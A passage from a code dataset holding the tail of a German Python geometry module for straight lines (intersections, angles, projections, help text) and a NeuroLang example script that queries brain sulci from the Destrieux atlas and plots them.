objekt.pkt(di[r])\n                    lat1 = pp.punkt_ausg_(s=1)\n                    lat2 = latex('[\\:') + latex(self.par) + latex('=') + \\\n\t\t\t\t\t\t      latex(di[s]) + latex('\\:]')\n                    display(Math(lat + lat1 + '\\:\\:' + lat2))\n                    return\t\t\t\t\n                return objekt.pkt(di[r])       \n            else:\n                if kwargs.get('l'):\n                    return objekt.schnitt(self, l=1)\t\t\n                return objekt.schnitt(self)\t\t\n\t\t\t\t\n        elif self.dim == 2: \n           \t\t\n            Kreis = importlib.import_module('agla.lib.objekte.kreis').Kreis\t\n            st, ri = self.stuetz, self.richt\t\n            g3 = Gerade(Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0))\t\t\n            try:\t\n                if not objekt:\n                    raise AglaError(\"Vektor, Gerade, Strecke oder Kreis angeben\")\n                if len(objekt) != 1:\n                    raise AglaError('ein Objekt angeben')\t\t\t\t\t\n                objekt = objekt[0]\t\n                if mit_param(self) or mit_param(objekt) and isinstance(objekt, \n                    (Strecke, Kreis)):\n                    print('agla: nicht implementiert (Parameter)')\n                    return\t\t\t\t\n                if not isinstance(objekt, (Vektor, Gerade, Strecke, Kreis)):\n                    raise AglaError(\"Vektor, Gerade, Strecke  oder Kreis angeben\")\t\t     \n                if self.dim != objekt.dim:\n                    raise AglaError(\"die Objekte haben unterschiedliche Dimension\")      \t\t\t\t\n            except AglaError as e:\t\t\n                print('agla:  ', str(e))\n                return\n            if isinstance(objekt, Vektor):\n                if objekt.dim != 2:\n                    print(\"agla: der Vektor hat nicht die richtige Dimension\")\n                    return\t\t\t\t\t\n                o3 = Vektor(objekt.x, objekt.y, 0)\n                ss = g3.schnitt(o3)\t\t\n                if ss:\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{der Punkt liegt auf der Geraden}')\t\t\n                        display(Math(lat))\t\t\t\t\t\n                        return \t\t\t\t\n                    return Vektor(ss.x, ss.y)\n                if kwargs.get('l'):\n                    lat = latex('\\\\text{der Punkt liegt nicht auf }' + \\\n                               '\\\\text{der Geraden}')\t\t\n                    display(Math(lat))\t\t\t\t\t\n                    return \t\t\t\t\n                return set()\t\n            elif isinstance(objekt, Gerade):\n                if objekt.dim != 2:\n                    print(\"agla: die Gerade hat nicht die richtige Dimension\")\n                    return\t\n                st, ri = objekt.stuetz, objekt.richt\t\n                st, ri = Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0)                \t\t\t\t\t            \n                o3 = Gerade(st, ri)  \n                ss = g3.schnitt(o3)   \n                if isinstance(ss, Vektor):\n                    ss2 = Vektor(ss.x, ss.y)\t\t\t\t\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{die Geraden schneiden sich }'+ \\\n                             '\\\\text{im Punkt}')\t\t   \n                        lat1 = ss2.punkt_ausg_(s=1)\n                        display(Math(lat + lat1))\t\t\t\t\t\n                        return \t\t\t\t\t\t\t\t\n                    return ss2\n                elif isinstance(ss, Gerade):\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{die Geraden sind identisch}')\t\t\n                        display(Math(lat))\t\t\t\t\t\n                        return \t\t\t\t\t\t\t\t\n                    return self\n                if kwargs.get('l'):\n                    lat = latex('\\\\text{die Geraden schneiden sich nicht}')\t\t\n                    display(Math(lat))\t\t\t\t\t\n                    return \t\t\t\t\t\t\t\t\n                return set()\t\t\t\t\t\n            elif isinstance(objekt, Strecke):\n                if objekt.dim != 2:\n                    print(\"agla: die Strecke hat nicht die richtige Dimension\")\n                    return\t\n                p1, p2 = objekt.punkte\n                p1, p2 = Vektor(p1.x, p1.y, 0), Vektor(p2.x, p2.y, 0)\n                o3 = Strecke(p1, p2)\n                ss = g3.schnitt(o3)\n                if isinstance(ss, Vektor):\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{die Strecke schneidet die }' + \\\n                             '\\\\text{Gerade in einem Punkt}')\t\t\n                        display(Math(lat))\t\t\t\t\t\n                        return \t\t\t\t\t\t\t\t\n                    return Vektor(ss.x, ss.y)\n                elif isinstance(ss, Strecke):\n                    if kwargs.get('l'):\n                        lat = latex('\\\\text{die Strecke liegt auf der }' + \\\n                             '\\\\text{Geraden}')\t\t\n                        display(Math(lat))\t\t\t\t\t\n                        return \t\t\t\t\t\t\t\t\n                    p1, p2 = ss.punkte\n                    p1, p2 = Vektor(p1.x, p1.y), Vektor(p2.x, p2.y)\t\t\t\t\t\n                    return Strecke(p1, p2)\n                if kwargs.get('l'):\n                    lat = latex('\\\\text{die Strecke schneidet die }' + \\\n                         '\\\\text{Gerade nicht}')\t\t\n                    display(Math(lat))\t\t\t\t\t\n                    return \t\t\t\t\t\t\t\t\n                return set()\t\t\t\t\t\n            elif isinstance(objekt, Kreis):\n                if kwargs.get('l'):\n                    return objekt.schnitt(self, l=1)\t\t\t\t\n                return objekt.schnitt(self)\n                \t\t\t\t\n\t\t\t\t\n    def winkel(self, *objekt, **kwargs):\n        \"\"\"Winkel mit einem anderen Objekt\"\"\"\n\t\t\t\t\t\n        if kwargs.get('h'):\n            print(\"\\nWinkel der Geraden mit einem anderen Objekt (in Grad)\\n\")\t\t\n            print(\"Aufruf   gerade . winkel( objekt )\\n\")\t\t                     \n            print(\"             gerade    Gerade\")\n            print(\"             objekt    Vektor, Gerade, Ebene  (im Raum R^3)\")\n            print(\"                       Vektor, Gerade  (in der Ebene R^2)\\n\")\n            print(\"Bei objekt=Gerade R\u00fcckgabe des Winkels zwischen den beiden\")\n            print(\"Richtungsvektoren (unabh\u00e4ngig von der Lage)\\n\")\n            print(\"Zusatz       d=n   Dezimaldarstellung\")\n            print(\"                   n - Anzahl der Nachkomma-/Stellen\\n\")\n            return \n\t\t\n        if len(objekt) != 1:\n            print(\"agla: ein Objekt angeben\")\n            return\t\t\t\n        objekt = objekt[0]\n        if objekt == Vektor(0, 0, 0) or objekt == Vektor(0, 0):\n            print('agla: der Winkel ist nicht definiert (Nullvektor)')\n            return\n\t\t\t\n        if self.dim == 3:\n            Ebene = importlib.import_module('agla.lib.objekte.ebene').Ebene\t\n            if isinstance(objekt, Vektor):\t\n                wi = self.richt.winkel(objekt)\n            elif isinstance(objekt, Gerade):\n                wi = self.richt.winkel(objekt.richt)\n            elif isinstance(objekt, Ebene):\n                wi = objekt.winkel(self)\t\t\n            else:\n                print('agla: Vektor, Gerade oder Ebene angeben')\n                return\n            if not mit_param(wi):\t\t\t\t\n                if wi > 90:\n                    wi = 180 - wi\t\t\t\t\n        else:\n            if not isinstance(objekt, (Vektor, Gerade)):\n                print('agla: Vektor oder Gerade angeben')\n                return\t\t\t\n            if objekt.dim != 2:\n                print('agla: der Vektor bzw. die Gerade hat nicht die ' + \\\n\t\t\t\t        'richtige Dimension')\n                return\n            st, ri = self.stuetz, self.richt\n            st, ri = Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0)\n            g3 = Gerade(st, ri)\n            if isinstance(objekt, Vektor):\n                o3 = Vektor(objekt.x, objekt.y, 0)\n            else:\n                st, ri = objekt.stuetz, objekt.richt\n                st, ri = Vektor(st.x, st.y, 0), Vektor(ri.x, ri.y, 0)\n                o3 = Gerade(st, ri)\t\t\t\n            wi = g3.winkel(o3)\n\t\t\t\n        d = kwargs.get('d')\n        if not isinstance(d, (Integer, int)) or d < 0:\n            return wi\n        return wert_ausgabe(wi, d)\n\t\t\n\t\t\n    def proj(self, *ebene, **kwargs):\t\n        \"\"\"Projektion auf eine Ebene\"\"\"\n\t\t\n        if self.dim != 3:\n            print('agla: nur f\u00fcr Geraden in R^3 definiert')\t\t\n            return\t\t\t\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nProjektion der Geraden auf eine Ebene\\n\")\t\t\n            print(\"Aufruf   gerade . proj( ebene )\\n\")\t\t                     \n            print(\"             gerade    Gerade\")\n            print(\"             ebene     Ebene\\n\")\n            return\n\t\n        if len(ebene) != 1:\n            print(\"agla: eine Ebene angeben\")\n            return\t\t\t\n        ebene = ebene[0]\n        p = self.schnitt(ebene)\n        if p:\n            if isinstance(p, Gerade):\n                return self\n            if orthogonal(self, ebene):\n                return p\n            q = self.punkte[0]\n            if q == p:\n                q = self.punkte[1]\n            g = Gerade(q, ebene.norm)\n            s = g.schnitt(ebene)\n            return Gerade(p, Vektor(p, s))\n        elif self.abstand(ebene) == 0:\n            return self\n        p, q = self.punkte[0], self.punkte[1]\n        g1, g2 = Gerade(p, ebene.norm), Gerade(q, ebene.norm)\n        s1, s2 = g1.schnitt(ebene), g2.schnitt(ebene)\t\n        return Gerade(s1, Vektor(s1, s2))\n\n\t\n    def pkt(self, *wert, **kwargs):\n        \"\"\"Geradenpunkt\"\"\"\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nPunkt der Geraden\\n\")\t\t\n            print(\"Aufruf    gerade . pkt( /[ wert ] )\\n\")\t\t                     \n            print(\"              gerade   Gerade\")\n            print(\"              wert     Wert des Geradenparameters\\n\")\n            print(\"R\u00fcckgabe      bei Angabe eines Parameterwertes:\") \n            print(\"              Geradenpunkt, der zu diesem Wert geh\u00f6rt\")\n            print(\"              bei leerer Argumentliste oder freiem \" + \\\n\t\t\t       \"Bezeichner:\") \n            print(\"              allgemeiner Punkt der Geraden\\n\") \t\t\t\n            return\n\n        if not wert:\n            return self.stuetz + self.richt * self.par\n        if len(wert) == 1:\n             pw = sympify(wert[0])\n             if not is_zahl(pw):\n                 print('agla: Zahlenwert oder freien Bezeichner angeben')\n                 return\t\t\t\n             return self.stuetz + self.richt * pw\t\t\t \n        print(\"agla: einen Parameterwert angeben\")\n        return\t\t\n\t\t\n\t\t    \n    def normale(self, *arg, **kwargs):\n        \"\"\"Normale in einem Geradenpunkt\"\"\"\n\t\t\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\n\t\t\t\n        if kwargs.get('h'):\n            print(\"\\nNormale in einem Geradenpunkt\\n\")\t\t\n            print(\"Aufruf    gerade . normale( /[ punkt | wert ] )\\n\")\t\t                     \n            print(\"              gerade   Gerade\")\n            print(\"              punkt    Geradenpunkt\")\n            print(\"              wert     Wert des Geradenparameters\\n\")\n            print(\"R\u00fcckgabe      bei Angabe eines Punktes oder Parameterwertes:\") \n            print(\"              Normale im (zugeh\u00f6rigen) Geradenpunkt\")\n            print(\"              bei leerer Argumentliste oder freiem \" + \\\n\t\t\t       \"Bezeichner:\") \n            print(\"              Normale im allgemeinen Geradenpunkt\\n\") \t\t\t\n            return\n\t\t\t\n        if len(arg) > 1:\n            raise AglaError('nur ein Argument angeben')\n            return\t\t\t\n        if arg:\n            arg = arg[0] \n        else:\n            arg = None\t\t\t\t\t\n        if isinstance(arg, Vektor):\n            if arg.dim != 2:\n                raise AglaError('Punkt in der Ebene angeben')\n                return\t\t\t\n            if not self.schnitt(arg):\n                raise AglaError('der Punkt liegt nicht auf der Geraden')\n                return\t\t\t\t\t\t\n            p = arg\n        else:\t\t\t\n            if arg:\t\t\t\n                pw = sympify(arg)\n                if not is_zahl(pw):\n                    print(\"agla: einen Zahlenwert angeben\")\n                    return\t\n                pw = nsimplify(pw)\t\t\t\t \n                p = self.pkt(pw)\n            else:\n                p = self.pkt(self.par)\t\t\n        ri = self.richt\n        n = Vektor(-ri.y, ri.x)\n        t, s = symbols('t s')\t\t\n        t1 = t\t\t\n        if self.par == t:\t\t\n            t1 = s\n        return Gerade(p, n, t1)\t\t\n\n    senkrechte = normale\n\n\t\n    def parallele(self, *args, **kwargs):\n        \"\"\"Parallele zu einer Geraden\"\"\"\t\n\t\t\n        if self.dim != 2:\n            print('agla: nur f\u00fcr Geraden in R^2 definiert')\t\t\n            return\n\t\t\t\n        if kwargs.get('h'):\n            print(\"\\nParallele Gerade durch einen gegebenen Punkt oder\")\n            print(\"in einem gegebenem Abstand   (in der Ebene R^2)\\n\")\t\t\n            print(\"Aufruf   gerade . parallele( punkt | abstand )\\n\")\t\t                     \n            print(\"             gerade     Gerade\")\n            print(\"             punkt      Punkt\")\n            print(\"             abstand    Zahl; das Vorzeichen \" + \\\n\t\t\t       \"bestimmt die Lage\\n\")\n            return\t\n\t\t\n        try:\t\t\n            if len(args) != 1:\n                raise AglaError(\"ein Argument angeben\")\n            args = sympify(args[0])\n            if not ((isinstance(args, Vektor) and args.dim == 2) or \\\n\t\t\t     is_zahl(args)):\n                raise AglaError(\"einen Punkt in der Ebene oder eine Zahl \" + \\\n\t\t\t\t        \"angeben\")\n        except AglaError as e:\n            print('agla:', str(e))\n            return\t\t\t\n        if isinstance(args, Vektor):\n            return Gerade(args, self.richt, self.par)\n        stuetz = self.stuetz + self.norm.einh_vekt * args\n        return Gerade(stuetz, self.richt, self.par)\n\t\t   \t\n\t\t\t\n    @property\t\t\n    def hilfe(self):  \n        \"\"\"Bezeichner der Eigenschaften und Methoden\"\"\"\n        if self.dim == 3:\t\t\n            gerade_hilfe(3)\n            return\t\t\t\n        gerade_hilfe(4)\t\n\t\t\n    h = hilfe\t\t\t\t\n\t\n  \n# Benutzerhilfe f\u00fcr Gerade\n# ------------------------\n\ndef gerade_hilfe(h):\n\n    if h == 1:\n        print(\"h=2 - Erzeugung\")\n        print(\"h=3 - Eigenschaften und Methoden im Raum R^3\")\n        print(\"h=4 - Eigenschaften und Methoden in der Ebene R^2\")\n        return\n\t\t   \n    if h == 2:\n        print(\"\\nGerade - Objekt\\n\")\n        print(\"Erzeugung im Raum R^3 und in der Ebene R^2:\\n\")\t\t\n        print(\"             Gerade( st\u00fctz, richt /[, par ] )\\n\")\n        print(\"                 st\u00fctz    St\u00fctzvektor\")\n        print(\"                 richt    Richtungsvektor\")\n        print(\"                 par      Geradenparameter;\") \n        print(\"                          t falls nicht angegeben\\n\")\n        print(\"     oder    Gerade( schar /[, par ] )\\n\") \n        print(\"                 schar   Punkteschar, die eine Gerade bildet\") \n        print(\"                 par     muss bei mehr als einem Parameter in\")\n        print(\"                         schar angegeben werden\\n\")                  \n        print(\"Erzeugung nur in der Ebene R^2:\\n\")                           \n        print(\"             Gerade( m, n )\\n\")\n        print(\"                 m,n     Koeffizienten der Gleichung  y=mx+n\\n\")\n        print(\"     oder    Gerade( a, b, c )\\n\")\n        print(\"                 a,b,c   Koeffizienten der Gleichung  ax+by+c=0\\n\")                   \n        print(\"Zuweisung     g = Gerade(...)   (g - freier Bezeichner)\\n\")\n        print(\"Beispiele\")\n        print(\"A = v(2, -1, 4); B = v(0, 3, -2)\")\n        print(\"Gerade(A, v(A, B)) - Gerade durch 2 Punkte\")\n        print(\"Gerade(2, -3)) - Gerade in R^2 mittels m und n\")\n        print(\"Gerade(v(a+1, 3, 2*a+3)) - Gerade \u00fcber eine Punkteschar\\n\") \t\t\n        print(\"Vordefinierte Geraden\")\n        print(\"x_achse   ( = xAchse)    x-Achse im Raum R^3\")\n        print(\"y_achse   ( = yAchse)    y-Achse im Raum R^3\")\n        print(\"z_achse   ( = zAchse)    z-Achse im Raum R^3\")\n        print(\"x_achse2  ( = xAchse2)   x-Achse in der Ebene R^2\")\n        print(\"y_achse2  ( = yAchse2)   y-Achse in der Ebene R^2\\n\")\t\t\n        return\n\n    if h == 3:\n        print(\"\\nEigenschaften und Methoden (M) f\u00fcr Gerade im Raum R^3\\n\")\n        print(\"g.hilfe            Bezeichner der Eigenschaften und Methoden\")\n        print(\"g.abstand(...)  M  Abstand zu anderen Objekten\")\n        print(\"g.auf_pkt          = st\u00fctz (Aufpunkt)\") \n        print(\"g.bild(...)     M  Bild bei einer Abbildung\")\n        print(\"g.dim              Dimension\")\n        print(\"g.gleich           = g.prg\")\n        print(\"g.gleich_(...)  M  = g.prg_(...)\")\n        print(\"g.is_schar         Test auf Schar\")\n        print(\"g.par              Parameter der Gleichung\")\n        print(\"g.pkt(...)      M  Geradenpunkt\")      \n        print(\"g.prg              Gleichung (Parmeterform)\")\n        print(\"g.prg_(...)     M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.proj(...)     M  Projektion auf eine Ebene\")\n        print(\"g.punkte           2 Geradenpunkte\")\n        print(\"g.punkte_(...)  M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.richt            Richtungsvektor\")\n        print(\"g.sch_el(...)   M  Element einer Schar\")\n        print(\"g.sch_par          Scharparameter\")\n        print(\"g.schnitt(...)  M  Schnitt mit anderen Objekten\")\n        print(\"g.spur_xy          Spur in der xy-Ebene\")\n        print(\"g.spur_xz          Spur in der xz-Ebene\")\n        print(\"g.spur_yz          Spur in der yz-Ebene\")\n        print(\"g.st\u00fctz            St\u00fctzvektor\")\n        print(\"g.winkel(...)   M  Winkel mit anderen Objekten\\n\")\n        print(\"Synonyme Bezeichner\\n\")\n        print(\"hilfe    :  h\")\n        print(\"auf_pkt  :  aufPkt\") \n        print(\"gleich_  :  Gleich\")\n        print(\"is_schar :  isSchar\")\n        print(\"prg_     :  Prg\")\n        print(\"punkte_  :  Punkte\")\n        print(\"sch_el   :  schEl\")\n        print(\"sch_par  :  schPar\")\n        print(\"spur_xy  :  spurXY\")\n        print(\"spur_xz  :  spurXZ\")\n        print(\"spur_yz  :  spurYZ\\n\")\n        return\t\n  \n    if h == 4:\n        print(\"\\nEigenschaften und Methoden (M) f\u00fcr Gerade in der Ebene R^2\\n\")\n        print(\"g.hilfe              Bezeichner der Eigenschaften und Methoden\")\n        print(\"g.aagl               Achsenabschnittsgleichung\")\n        print(\"g.abstand(...)    M  Abstand zu anderen Objekten\")\n        print(\"g.anstieg            Anstieg\")\n        print(\"g.auf_pkt          = st\u00fctz (Aufpunkt)\") \n        print(\"g.bild(...)       M  Bild bei einer Abbildung\")\n        print(\"g.dim                Dimension\")\n        print(\"g.gleich             = g.prg\")\n        print(\"g.gleich_(...)    M  = g.prg_(...)\")\n        print(\"g.is_schar           Test auf Schar\")\n        print(\"g.fkt                Funktionsgleichung  y=mx+n\")\n        print(\"g.fkt_(...)       M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.hnf                Hessesche Normalenform\")\n        print(\"g.koord              Koordinatengleichung  ax+by+c=0\")\n        print(\"g.koord_(...)     M  ebenso, zugeh\u00f6rige Methode\") \n        print(\"g.m                  = anstieg\")\n        print(\"g.n                  = y_abschn\")\n        print(\"g.nf                 Normalenform der Gleichung\")\n        print(\"g.nf_(...)        M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.norm               Normalenvektor\")\t\t\n        print(\"g.normale(...)    M  Normale in einem Geradenpunkt\")\t\t\n        print(\"g.par                Parameter der Gleichung\")\n        print(\"g.parallele(...)  M  Parallele Gerade\")\n        print(\"g.pkt(...)        M  Geradenpunkt\")      \n        print(\"g.prg                Parametergleichung\")\n        print(\"g.prg_(...)       M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.punkte             2 Geradenpunkte\")\n        print(\"g.punkte_(...)    M  ebenso, zugeh\u00f6rige Methode\")\n        print(\"g.richt              Richtungsvektor\")\n        print(\"g.sch_el(...)     M  Element einer Schar\")\n        print(\"g.sch_par            Scharparameter\")\n        print(\"g.schnitt(...)    M  Schnitt mit anderen Objekten\")\n        print(\"g.senkrechte(...) M  = normale(...)\")\n        print(\"g.st\u00fctz              St\u00fctzvektor\")\n        print(\"g.winkel(...)     M  Winkel mit anderen Objekten\")\n        print(\"g.y_abschn           Abschnitt auf der y-Achse\\n\")\n        print(\"Synonyme Bezeichner\\n\")\n        print(\"hilfe    :  h\")\n        print(\"auf_pkt  :  aufPkt\") \n        print(\"gleich_  :  Gleich\")\n        print(\"is_schar :  isSchar\")\n        print(\"fkt_     :  Fkt\")\n        print(\"koord_   :  Koord\")\n        print(\"nf_      :  Nf\")\n        print(\"prg_     :  Prg\")\n        print(\"punkte_  :  Punkte\")\n        print(\"sch_el   :  schEl\")\n        print(\"sch_par  :  schPar\")\t\t\n        print(\"y_abschn :  yAbschn\\n\")\n        return\t\n  \n   \n  \n# Vordefinierte Geraden\n \nVektor = importlib.import_module('agla.lib.objekte.vektor').Vektor\t\nt = Symbol(\"t\")\nx_achse = xAchse = Gerade(Vektor(0, 0, 0), Vektor(1, 0, 0), t)\ny_achse = yAchse = Gerade(Vektor(0, 0, 0), Vektor(0, 1, 0), t)\nz_achse = zAchse = Gerade(Vektor(0, 0, 0), Vektor(0, 0, 1), t)\nx_achse2 = xAchse2 = Gerade(Vektor(0, 0), Vektor(1, 0), t)\ny_achse2 = yAchse2 = Gerade(Vektor(0, 0), Vektor(0, 1), t)\n  \n  \n\n  ", "meta": {"hexsha": "a8774dd14b18ce4038715e398c6b17aac269b916", "size": 58912, "ext": "py", "lang": "Python", "max_stars_repo_path": "agla/lib/objekte/gerade.py", "max_stars_repo_name": "HBOMAT/AglaUndZufall", "max_stars_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "agla/lib/objekte/gerade.py", "max_issues_repo_name": "HBOMAT/AglaUndZufall", "max_issues_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "agla/lib/objekte/gerade.py", "max_forks_repo_name": "HBOMAT/AglaUndZufall", "max_forks_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.0922362309, "max_line_length": 102, "alphanum_fraction": 0.4549327811, "include": true, "reason": "import numpy,from numpy,from sympy", "num_tokens": 15425, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.05673752162200349}}
{"text": "\"\"\"\nSulcal Identification Query Example in Neurolang\n================================================\n\n\"\"\"\n\n# %%\n# Initialise the Neurolang deterministic environment\n# ..................................................\n\nimport nibabel as nib\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom nilearn import datasets, plotting\n\nfrom neurolang import ExplicitVBR, NeurolangDL\n\n##################################################\n# Initialise the NeuroLang probabilistic engine.\n\nnl = NeurolangDL()\n\n\n###############################################################################\n# Load the Destrieux example from nilearn as a fact list\n\n\natlas_destrieux = datasets.fetch_atlas_destrieux_2009()\natlas_labels = {\n    label: str(name.decode(\"utf8\"))\n    for label, name in atlas_destrieux[\"labels\"]\n}\n\n\nnl.add_atlas_set(\"destrieux\", atlas_labels, nib.load(atlas_destrieux[\"maps\"]))\n\n###############################################################################\n# Add utility functions, one for the prefix of the region's name\n# one to determine the principal direction of the region.\n\n\n@nl.add_symbol\ndef startswith(prefix: str, s: str) -> bool:\n    \"\"\"Describe the prefix of string `s`.\n\n    Parameters\n    ----------\n    prefix : str\n        prefix to query.\n    s : str\n        string to check whether its\n        prefixed by `s`.\n\n    Returns\n    -------\n    bool\n        whether `s` is prefixed by\n        `prefix`.\n    \"\"\"\n    return s.startswith(prefix)\n\n\n@nl.add_symbol\ndef principal_direction(s: ExplicitVBR, direction: str, eps=1e-6) -> bool:\n    \"\"\"Describe the principal direction of\n    the extension of a volumetric region.\n\n    Parameters\n    ----------\n    s : ExplicitVBR\n        region to analyse the principal\n        direction of its extension.\n    direction : str\n        principal directions, one of\n        `LR`, `AP`, `SI`, for the directions\n        left-right, anterio-posterior, and\n        superior inferior respectively.\n    eps : float, optional\n        minimum difference on between\n        directional standard deviations,\n        by default 1e-6.\n\n    Returns\n    -------\n    bool\n        wether the principal variance of\n        `s` is `direction`.\n    \"\"\"\n    # Assuming RAS coding os the xyz space.\n    c = [\"LR\", \"AP\", \"SI\"]\n\n    s_xyz = s.to_xyz()\n    cov = np.cov(s_xyz.T)\n    evals, evecs = np.linalg.eig(cov)\n    i = np.argmax(np.abs(evals))\n    abs_max_evec = np.abs(evecs[:, i].squeeze())\n    sort_dir = np.argsort(abs_max_evec)\n    if np.abs(abs_max_evec[sort_dir[-1]] - abs_max_evec[sort_dir[-2]]) < eps:\n        return False\n    else:\n        main_dir = c[sort_dir[-1]]\n    return (direction == main_dir) or (direction[::-1] == main_dir)\n\n\n# %%\n# Example 1: Characterise Some of the Sulci\n# .........................................\n# In this example we characterise:\n#\n# * left hemisphere primary sulci, by name\n#\n# * left frontal lobe sulcus as those\n#\n#   * anterior to Destrieux's left central sulcus\n#   * superior to Destrieux's left anterio-vertical section\n#     of the lateral fissure.\n#\n# These will be present in all further programs.\n# There are no executed queries in this section, just\n# declared ones.\n\nwith nl.environment as e:\n    e.left_sulcus[e.name, e.region] = e.destrieux(\n        e.name, e.region\n    ) & startswith(\"L S\", e.name)\n\n    e.left_primary_sulcus[e.name, e.region] = e.destrieux(e.name, e.region) & (\n        (e.name == \"L S_central\")\n        | (e.name == \"L Lat_Fis-post\")\n        | (e.name == \"L S_pericallosal\")\n        | (e.name == \"L S_parieto_occipital\")\n        | (e.name == \"L S_calcarine\")\n        | (e.name == \"L Lat_Fis-ant-Vertical\")\n        | (e.name == \"L Lat_Fis-ant-Horizont\")\n    )\n    e.left_frontal_lobe_sulcus[e.region] = (\n        e.left_sulcus(..., e.region)\n        & e.anatomical_anterior_of(e.region, e.destrieux.s[\"L S_central\"])\n        & e.anatomical_superior_of(\n            e.region, e.destrieux.s[\"L Lat_Fis-ant-Vertical\"]\n        )\n    )\n\n\n# %%\n# Example 2: Query the Precentral Sulcus\n# ......................................\n# this query and all defined will not be in the program\n# after the `with` context finishes. But the results\n# remain. We identify the precentral sulcus (PC) as:\n#\n# * belongs to the left frontal lobe\n# * its principal direction is along the superior-inferior\n#   axis.\n# * no other sulcus satisfying the same conditions is\n#   anterior to the PC.\n\n\nwith nl.scope as e:\n    e.named_sulcus[\"L precentral sulcus\", e.region] = (\n        e.left_frontal_lobe_sulcus(e.region)\n        & e.principal_direction(e.region, \"SI\")\n        & ~nl.exists(\n            e.other_region,\n            e.left_frontal_lobe_sulcus(e.other_region)\n            & (e.region != e.other_region)\n            & e.anatomical_posterior_of(e.other_region, e.region),\n        )\n    )\n\n    res = nl.query((e.name, e.region), e.named_sulcus(e.name, e.region))\n\nfor name, region in res:\n    subplots = plt.subplots(nrows=2, ncols=1, figsize=(10, 5))[1]\n    plotting.plot_roi(\n        region.spatial_image(), display_mode=\"x\", title=name, axes=subplots[0]\n    )\n    plotting.plot_roi(\n        region.spatial_image(), display_mode=\"y\", axes=subplots[1]\n    )\n\n\n# %%\n# Example 3: Query the Superior Frontal Sulcus\n# ............................................\n# this query and all defined will not be in the program\n# after the `with` context finishes. But the results\n# remain.\n# In this query we express that the superior frontal sulcus (SFS)\n# as a sulcus which:\n#\n# * belongs to the left frontal lobe\n# * its principal direction is along the anterior-posterior\n#   axis.\n# * no other sulcus satisfying the same conditions is\n#   superior to the SFS.\n\nwith nl.scope as e:\n    e.named_sulcus[\"L superior frontal sulcus\", e.region] = (\n        e.left_frontal_lobe_sulcus(e.region)\n        & e.principal_direction(e.region, \"AP\")\n        & ~nl.exists(\n            e.other_region,\n            e.left_frontal_lobe_sulcus(e.other_region)\n            & (e.region != e.other_region)\n            & e.anatomical_superior_of(e.other_region, e.region),\n        )\n    )\n\n    res = nl.query((e.name, e.region), e.named_sulcus(e.name, e.region))\n\nfor name, region in res:\n    subplots = plt.subplots(nrows=2, ncols=1, figsize=(10, 5))[1]\n    plotting.plot_roi(\n        region.spatial_image(), display_mode=\"x\", title=name, axes=subplots[0]\n    )\n    plotting.plot_roi(\n        region.spatial_image(), display_mode=\"y\", axes=subplots[1]\n    )\n", "meta": {"hexsha": "d16414c60feda55d3a067ba0de016d9a82a232ee", "size": 6438, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/plot_sulcal_queries.py", "max_stars_repo_name": "hndgzkn/NeuroLang", "max_stars_repo_head_hexsha": "a3178d47f80bc0941440d9bb09e06c2f217b9566", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/plot_sulcal_queries.py", "max_issues_repo_name": "hndgzkn/NeuroLang", "max_issues_repo_head_hexsha": "a3178d47f80bc0941440d9bb09e06c2f217b9566", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-07-01T09:44:10.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-02T09:06:30.000Z", "max_forks_repo_path": "examples/plot_sulcal_queries.py", "max_forks_repo_name": "hndgzkn/NeuroLang", "max_forks_repo_head_hexsha": "a3178d47f80bc0941440d9bb09e06c2f217b9566", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.2636363636, "max_line_length": 79, "alphanum_fraction": 0.6004970488, "include": true, "reason": "import numpy", "num_tokens": 1624, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.11436851712592713, "lm_q1q2_score": 0.05673751563191163}}
